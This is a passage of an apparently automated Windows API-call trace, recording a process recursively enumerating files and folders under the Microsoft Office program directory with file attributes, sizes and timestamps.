lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b3c00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d9b3c00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21390_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7546300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7546300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21413_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd290b00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd290b00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x770, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21427_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bc3b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97bc3b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21448_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b89da00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5b89da00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21495_.GIF", cAlternateFileName="")) returned 1 [0197.450] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93911d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x93911d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21512_.GIF", cAlternateFileName="")) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd4a4400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4a4400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21527_.GIF", cAlternateFileName="")) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15814600, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15814600, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21548_.GIF", cAlternateFileName="")) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115855.GIF", cAlternateFileName="")) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115856.GIF", cAlternateFileName="")) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115875.GIF", cAlternateFileName="")) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115876.GIF", cAlternateFileName="")) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 1 [0197.451] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 0 [0197.451] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0197.453] GetProcessHeap () returned 0x550000 [0197.453] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0197.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0197.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 1 [0197.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 0 [0197.453] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0197.453] GetProcessHeap () returned 0x550000 [0197.453] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0197.455] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0197.455] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0197.455] GetProcessHeap () returned 0x550000 [0197.455] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0197.456] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0c86a0, ftCreationTime.dwHighDateTime=0x1d5adb7, ftLastAccessTime.dwLowDateTime=0xf4050770, ftLastAccessTime.dwHighDateTime=0x1d5d4bf, ftLastWriteTime.dwLowDateTime=0xf4050770, ftLastWriteTime.dwHighDateTime=0x1d5d4bf, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="MXSLIP~1.EXE")) returned 1 [0197.456] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0197.456] GetProcessHeap () returned 0x550000 [0197.456] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0197.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0197.456] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.456] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0197.456] GetProcessHeap () returned 0x550000 [0197.456] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0197.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0198.291] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d407000, ftCreationTime.dwHighDateTime=0x1ca8d26, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9d407000, ftLastWriteTime.dwHighDateTime=0x1ca8d26, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6146600, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6146600, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x26b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDTUI.DLL", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a36c100, ftCreationTime.dwHighDateTime=0x1c6af9a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a36c100, ftLastWriteTime.dwHighDateTime=0x1c6af9a, nFileSizeHigh=0x0, nFileSizeLow=0x53de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIP10.HLP", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefafd800, ftCreationTime.dwHighDateTime=0x1ca674a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefafd800, ftLastWriteTime.dwHighDateTime=0x1ca674a, nFileSizeHigh=0x0, nFileSizeLow=0x43590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWIZRC.DLL", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.VSL", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.VSL", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b17900, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2b17900, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASSET.VRD", cAlternateFileName="")) returned 1 [0198.292] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3375600, ftCreationTime.dwHighDateTime=0x1c2fe69, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc3375600, ftLastWriteTime.dwHighDateTime=0x1c2fe69, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC.HTM", cAlternateFileName="")) returned 1 [0198.293] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeRes.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0198.293] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b056800, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3b056800, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0198.293] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0198.293] GetProcessHeap () returned 0x550000 [0198.293] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0198.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0198.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0198.294] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 0 [0198.294] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0198.295] GetProcessHeap () returned 0x550000 [0198.295] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0198.295] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0198.295] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0198.295] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", 